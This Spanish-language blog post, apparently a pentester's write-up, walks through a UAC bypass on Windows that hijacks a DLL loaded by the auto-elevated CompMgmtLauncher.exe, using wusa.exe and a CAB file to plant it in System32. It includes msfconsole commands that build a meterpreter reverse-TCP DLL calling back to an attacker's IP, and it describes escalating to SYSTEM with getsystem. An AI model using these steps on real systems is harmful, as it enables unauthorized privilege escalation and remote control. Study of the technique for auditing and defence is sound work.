Microsoft no contempla un Bypass de UAC como una vulnerabilidad, debido a que depende de la configuración que la característica de seguridad tenga en cada momento. Es cierto que desde Windows 7 la configuración del UAC fue “rebajado” para la comodidad del usuario, dejando la petición de consentimiento para binarios que no son de Windows, es decir, que no están firmados por Microsoft o que tienen la directiva autoElevate a true en el manifiesto del binario.
Repasando los binarios que tienen el autoElevate a true encontré uno que me
llamó la atención. En UACMe, un repositorio dónde podemos encontrar un gran
número de bypasses de UAC, encontramos algunos que se aprovechan de dicho
binario, pero no de la forma que planteo en el artículo. Los métodos conocidos
que se utilizaron para aprovecharse del binario CompMgmtLauncher.exe son la
manipulación del registro de Windows, justo como se contó con el método Fileless y el método de Shell API.
Lo primero que hice fue ver el manifiesto del binario y el comportamiento
del binario CompMgmtLauncher.exe. Con la herramienta sigcheck.exe de
Sysinternals se puede ver el manifiesto del binario. Buscamos la directiva
autoElevate y observamos el valor true. Esto quiere decir que el binario cuando
se ejecute se ejecutará con privilegio, es decir, en un contexto de integridad
alto.
Cuando se mira la integridad del proceso con herramientas que permiten
observar este detalle, se puede ver cómo se está ejecutando con integridad
alta, por ejemplo, con Process Explorer o Process Monitor. Ahora, podemos
observar cómo podemos llevar a cabo la técnica DLL Hijacking a través del
secuestro de una DLL. Para poder verificar si el binario es vulnerable a DLL
Hijacking, tenemos que mirar si hay algún directorio o fichero que no es
encontado durante el arranque del binario.
Si ejecutamos Procmon para monitorizar, en este caso, el sistema de archivos
y las operaciones que se hacen sobre él, por el binario CompMgmtLauncher.exe
nos encontramos que hay varios NAME NOT
FOUND.
Si echamos un ojo, quitando el filtro de solo sacar NAME NOT FOUND, observamos que después de buscar el directorio compmgmtlauncher.exe.Local, el binario
se dirige a WinSxS, en el caso de las arquitecturas de 32 bits, y
descubre la DLL que realmente está buscando. Entonces, si nosotros podemos
lograr que la DLL se escriba en una ubicación protegida como es \Windows\System32, podríamos lograr que
el binario encuentre primero nuestra DLL maliciosa y la cargase.
En el caso de que nuestra DLL maliciosa fuera cargada, en primer lugar, por
el binario, podríamos ejecutar código en un contexto elevado, ya que el binario
que cargaría la DLL es CompMgmtLauncher.exe, el cual se ejecuta en un contexto
elevado o auto-elevado.
Para crearnos una DLL maliciosa podemos utilizar un módulo de Metasploit.
Para ello, arrancamos msfconsole y
ejecutamos:
·
use
payload/windows/meterpreter/reverse_tcp
·
set LHOST [dirección IP retorno]
·
generate –t dll –f [ruta creación DLL]
PoC: Creando el Bypass de
UAC con Powershell
Para copiar la DLL a la ubicación protegida dónde el binario de
CompMgmtLauncher.exe buscará tenemos dos opciones:
·
Utilizar
la aplicación wusa.exe, la cual permite extraer el contenido de un fichero CAB
en una ubicación protegida, debido a que dicha aplicación se ejecuta en un
contexto de integridad alto. Esta opción sólo nos servirá en Windows 7, 8 y
8.1. Es la que utilizaremos para este artículo.
·
Utilizar
IFileOperation. La exposición de los objetos COM. Este
objeto contiene métodos que permiten copiar, mover, eliminar objetos del
sistema de archivos como ficheros y carpetas. Este método es válido en Windows
10.
Hay que indicar que el binario CompMgmtLauncher.exe puede ser utilizado en
Windows 10 para hacer el Bypass de UAC, aunque solo se pueda utilizar el
método IFileOperation como medio para
copiar la DLL a la ubicación protegida.
Ahora, vamos a hacer un pequeño script de Powershell que permite ejemplificar y llevar a cabo el Bypass de UAC con la invocación del binario CompMgmtLauncher.exe y a través del vector de wusa.exe y DLL Hijacking.
Crearemos una función denominada Invoke-CompMgmtLauncher.
En primer lugar, crearemos un directorio en el escritorio de la víctima dónde
creará la jerarquía de carpetas necesarias en el directorio CompMgmtLauncher.exe.Local.
Una vez tenemos preparada la jerarquía de carpetas, vamos a crear el
fichero CAB. El fichero CAB será utilizado por wusa.exe para hacer la
extracción en la ruta privilegiada. Tal y como se puede visualizar en la
imagen, se crea un fichero DDF. Este fichero DDF está compuesto por directivas
que serán procesadas por el binario makecab.exe, el cuál es el encargado de
generar el fichero CAB.
En resumen, podemos decir que DDF indica a makecab.exe cómo se debe distribuir los archivos en el CAB y qué
características tiene el fichero y la compresión de éste.
Una vez creado el fichero DDF, nuestro script/exploit de Powershell
generará el fichero CAB a través de la sentencia makecab.exe /f [ruta del fichero DDF]. Una vez hecho esto,
tendremos ya el fichero CAB disponible para que wusa.exe pueda utilizarlo.
La siguiente instrucción es la de utiliza wusa.exe para llevar a cabo la
extracción en \Windows\System32.
Ahora que ya tenemos la jerarquía de carpetas que compone comctl32.dll en \Windows\System32
se debe arrancar el proceso CompMgmtLauncher.exe
para que se lleve a cabo la ejecución de código, es decir, la DLL, en un
entorno privilegiado.
Hay que tener en cuenta que, para llevar a cabo un Bypass de UAC, se deben
cumplir ciertas condiciones:
·
El
UAC debe estar configurado por defecto. La configuración por defecto de Windows
7.
·
El
usuario que ejecuta el binario auto-elevado debe ser del grupo administradores.
Una vez conseguida una sesión, por ejemplo, con Metasploit y tenemos una
Powershell remota e interactiva, podemos descargarnos dinámicamente a memoria
nuestro script, tal y como se puede ver en la imagen. Una vez hecho esto,
podemos comprobar con ls function:
que la función se ha cargado correctamente y está disponible.
Cuando se ejecuta la función de Powershell, se obtiene un Meterpreter, el cuál
es el que está en la DLL y se obtiene una nueva sesión. Esta sesión se
encontrará con más privilegios, por lo que cuando hagamos el getsystem, podremos impersonalizar a System y acceder a cualquier recurso del
sistema.
Ha sido un juego interesante lograr el Bypass
de UAC y hacer esta pequeña escalada
de privilegios, la cual siempre está guiada por las condiciones del UAC y de la
identidad y grupo del usuario que ejecuta el proceso. Como se puede ver, se
puede sacar un provecho y un beneficio en una auditoría interna, dónde las escaladas
de privilegio y el Bypass de UAC son técnicas utilizadas diariamente.